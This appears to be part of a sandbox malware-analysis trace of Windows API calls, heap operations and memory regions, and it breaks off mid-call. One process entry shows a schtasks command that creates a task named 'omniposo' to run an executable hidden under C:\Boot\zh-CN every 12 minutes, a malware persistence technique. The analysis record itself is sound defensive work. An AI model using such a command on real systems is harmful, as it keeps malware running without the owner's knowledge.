GetProcessHeap () returned 0x200000 [0089.778] GetProcessHeap () returned 0x200000 [0089.778] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x239e90) returned 1 [0089.778] GetProcessHeap () returned 0x200000 [0089.778] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x239e90) returned 0x82 [0089.778] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x239e90 | out: hHeap=0x200000) returned 1 [0089.778] GetProcessHeap () returned 0x200000 [0089.778] GetProcessHeap () returned 0x200000 [0089.778] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce20) returned 1 [0089.779] GetProcessHeap () returned 0x200000 [0089.779] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce20) returned 0x20 [0089.779] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce20 | out: hHeap=0x200000) returned 1 [0089.779] GetProcessHeap () returned 0x200000 [0089.779] GetProcessHeap () returned 0x200000 [0089.779] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7c0) returned 1 [0089.779] GetProcessHeap () returned 0x200000 [0089.779] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d7c0) returned 0xe [0089.780] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7c0 | out: hHeap=0x200000) returned 1 [0089.780] GetProcessHeap () returned 0x200000 [0089.780] GetProcessHeap () returned 0x200000 [0089.780] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdf0) returned 1 [0089.780] GetProcessHeap () returned 0x200000 [0089.780] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cdf0) returned 0x20 [0089.780] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdf0 | out: hHeap=0x200000) returned 1 [0089.781] GetProcessHeap () returned 0x200000 [0089.781] GetProcessHeap () returned 0x200000 [0089.781] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb90) returned 1 [0089.781] GetProcessHeap () returned 0x200000 [0089.781] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bb90) returned 0x18 [0089.781] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb90 | out: hHeap=0x200000) returned 1 [0089.781] GetProcessHeap () returned 0x200000 [0089.781] GetProcessHeap () returned 0x200000 [0089.781] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b40) returned 1 [0089.781] GetProcessHeap () returned 0x200000 [0089.781] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b40) returned 0x20 [0089.782] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b40 | out: hHeap=0x200000) returned 1 [0089.782] GetProcessHeap () returned 0x200000 [0089.782] GetProcessHeap () returned 0x200000 [0089.782] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b70) returned 1 [0089.782] GetProcessHeap () returned 0x200000 [0089.782] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b70) returned 0x20 [0089.783] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b70 | out: hHeap=0x200000) returned 1 [0089.783] GetProcessHeap () returned 0x200000 [0089.783] GetProcessHeap () returned 0x200000 [0089.783] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ba0) returned 1 [0089.783] GetProcessHeap () returned 0x200000 [0089.783] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ba0) returned 0x20 [0089.783] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ba0 | out: hHeap=0x200000) returned 1 [0089.784] GetProcessHeap () returned 0x200000 [0089.784] GetProcessHeap () returned 0x200000 [0089.784] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215bd0) returned 1 [0089.784] GetProcessHeap () returned 0x200000 [0089.784] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215bd0) returned 0x20 [0089.784] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215bd0 | out: hHeap=0x200000) returned 1 [0089.784] GetProcessHeap () returned 0x200000 [0089.784] GetProcessHeap () returned 0x200000 [0089.784] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbb0) returned 1 [0089.784] GetProcessHeap () returned 0x200000 [0089.784] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bbb0) returned 0x18 [0089.784] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbb0 | out: hHeap=0x200000) returned 1 [0089.784] GetProcessHeap () returned 0x200000 [0089.784] GetProcessHeap () returned 0x200000 [0089.785] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c00) returned 1 [0089.785] GetProcessHeap () returned 0x200000 [0089.785] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c00) returned 0x20 [0089.785] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c00 | out: hHeap=0x200000) returned 1 [0089.785] GetProcessHeap () returned 0x200000 [0089.785] GetProcessHeap () returned 0x200000 [0089.785] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c90) returned 1 [0089.785] GetProcessHeap () returned 0x200000 [0089.785] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c90) returned 0x20 [0089.786] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c90 | out: hHeap=0x200000) returned 1 [0089.786] GetProcessHeap () returned 0x200000 [0089.786] GetProcessHeap () returned 0x200000 [0089.786] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215cf0) returned 1 [0089.790] GetProcessHeap () returned 0x200000 [0089.790] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215cf0) returned 0x20 [0089.790] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215cf0 | out: hHeap=0x200000) returned 1 [0089.790] GetProcessHeap () returned 0x200000 [0089.790] GetProcessHeap () returned 0x200000 [0089.790] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215d50) returned 1 [0089.790] GetProcessHeap () returned 0x200000 [0089.790] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215d50) returned 0x20 [0089.791] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215d50 | out: hHeap=0x200000) returned 1 [0089.791] GetProcessHeap () returned 0x200000 [0089.791] GetProcessHeap () returned 0x200000 [0089.791] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215d80) returned 1 [0089.791] GetProcessHeap () returned 0x200000 [0089.791] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215d80) returned 0x20 [0089.791] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215d80 | out: hHeap=0x200000) returned 1 [0089.791] GetProcessHeap () returned 0x200000 [0089.791] GetProcessHeap () returned 0x200000 [0089.792] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbd0) returned 1 [0089.792] GetProcessHeap () returned 0x200000 [0089.792] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bbd0) returned 0x18 [0089.792] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbd0 | out: hHeap=0x200000) returned 1 [0089.792] GetProcessHeap () returned 0x200000 [0089.792] GetProcessHeap () returned 0x200000 [0089.792] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215cc0) returned 1 [0089.792] GetProcessHeap () returned 0x200000 [0089.792] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215cc0) returned 0x20 [0089.792] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215cc0 | out: hHeap=0x200000) returned 1 [0089.792] GetProcessHeap () returned 0x200000 [0089.792] GetProcessHeap () returned 0x200000 [0089.792] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb50) returned 1 [0089.792] GetProcessHeap () returned 0x200000 [0089.792] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bb50) returned 0x18 [0089.792] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb50 | out: hHeap=0x200000) returned 1 [0089.792] exit (_Code=0) Thread: id = 208 os_tid = 0x94c Process: id = "63" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3aed3000" os_pid = "0x950" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4784 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4785 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4786 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4787 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 4788 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4789 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4790 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4791 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4792 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4793 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4794 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4795 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4796 start_va = 0x1a0000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4797 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4798 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4799 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4800 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4801 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4802 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4803 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4804 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4805 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4806 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4807 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4808 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4809 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4810 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4811 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4812 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4813 start_va = 0x1a0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4814 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 4815 start_va = 0x450000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4816 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4817 start_va = 0x550000 end_va = 0x6d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 4818 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4819 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4820 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4821 start_va = 0x6e0000 end_va = 0x860fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 4822 start_va = 0x870000 end_va = 0x1c6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 4823 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4824 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4825 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4826 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4827 start_va = 0x1c70000 end_va = 0x1f3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4828 start_va = 0x1a0000 end_va = 0x21cfff monitored = 0 entry_point = 0x1acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4829 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4832 start_va = 0x1a0000 end_va = 0x21cfff monitored = 0 entry_point = 0x1acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4833 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4834 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4835 start_va = 0x1f40000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 4836 start_va = 0x260000 end_va = 0x33efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 4837 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4839 start_va = 0x21e0000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4840 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4841 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4842 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4843 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4844 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4845 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4846 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4849 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 209 os_tid = 0x954 [0089.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fea0 | out: lpSystemTimeAsFileTime=0x19fea0*(dwLowDateTime=0x5e7fb940, dwHighDateTime=0x1d9eb0c)) [0089.808] GetCurrentProcessId () returned 0x950 [0089.808] GetCurrentThreadId () returned 0x954 [0089.808] GetTickCount () returned 0x176bd2e [0089.808] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x19fea8 | out: lpPerformanceCount=0x19fea8*=2489629149150) returned 1 [0089.809] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0089.809] __set_app_type (_Type=0x1) [0089.809] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0089.809] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0089.811] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0089.811] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0089.811] _onexit (_Func=0xff932afc) returned 0xff932afc [0089.811] _onexit (_Func=0xff932b58) returned 0xff932b58 [0089.811] _onexit (_Func=0xff932b80) returned 0xff932b80 [0089.812] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0089.812] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0089.812] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0089.812] _onexit (_Func=0xff932c20) returned 0xff932c20 [0089.813] _onexit (_Func=0xff932c48) returned 0xff932c48 [0089.813] _onexit (_Func=0xff932c70) returned 0xff932c70 [0089.813] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0089.813] WinSqmIsOptedIn () returned 0x0 [0089.815] GetProcessHeap () returned 0x350000 [0089.815] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36ba10 [0089.815] SetLastError (dwErrCode=0x0) [0089.816] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0089.816] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0089.816] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0089.816] VerifyVersionInfoW (in: lpVersionInformation=0x19f660, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19f660) returned 1 [0089.816] GetProcessHeap () returned 0x350000 [0089.816] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36ba30 [0089.816] lstrlenW (lpString="") returned 0 [0089.816] GetProcessHeap () returned 0x350000 [0089.816] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x2) returned 0x36ba50 [0089.816] GetProcessHeap () returned 0x350000 [0089.816] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x3659e0 [0089.816] GetProcessHeap () returned 0x350000 [0089.817] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36ba70 [0089.817] GetProcessHeap () returned 0x350000 [0089.817] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365a10 [0089.817] GetProcessHeap () returned 0x350000 [0089.817] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365a40 [0089.817] GetProcessHeap () returned 0x350000 [0089.817] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365a70 [0089.819] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365aa0 [0089.822] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36ba90 [0089.822] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365ad0 [0089.822] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365b00 [0089.822] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365b30 [0089.822] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365b60 [0089.822] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36bab0 [0089.822] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365b90 [0089.822] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365bc0 [0089.822] GetProcessHeap () returned 0x350000 [0089.822] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365bf0 [0089.823] GetProcessHeap () returned 0x350000 [0089.823] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365c20 [0089.823] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0089.823] SetLastError (dwErrCode=0x0) [0089.823] GetProcessHeap () returned 0x350000 [0089.823] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365c50 [0089.823] GetProcessHeap () returned 0x350000 [0089.823] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365c80 [0089.823] GetProcessHeap () returned 0x350000 [0089.824] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365cb0 [0089.824] GetProcessHeap () returned 0x350000 [0089.824] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365ce0 [0089.824] GetProcessHeap () returned 0x350000 [0089.824] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365d10 [0089.824] GetProcessHeap () returned 0x350000 [0089.824] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36cbb0 [0089.824] _memicmp (_Buf1=0x36cbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.824] GetProcessHeap () returned 0x350000 [0089.824] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x208) returned 0x36cbd0 [0089.824] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36cbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0089.824] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0089.827] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0089.827] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0089.828] GetProcessHeap () returned 0x350000 [0089.828] RtlAllocateHeap 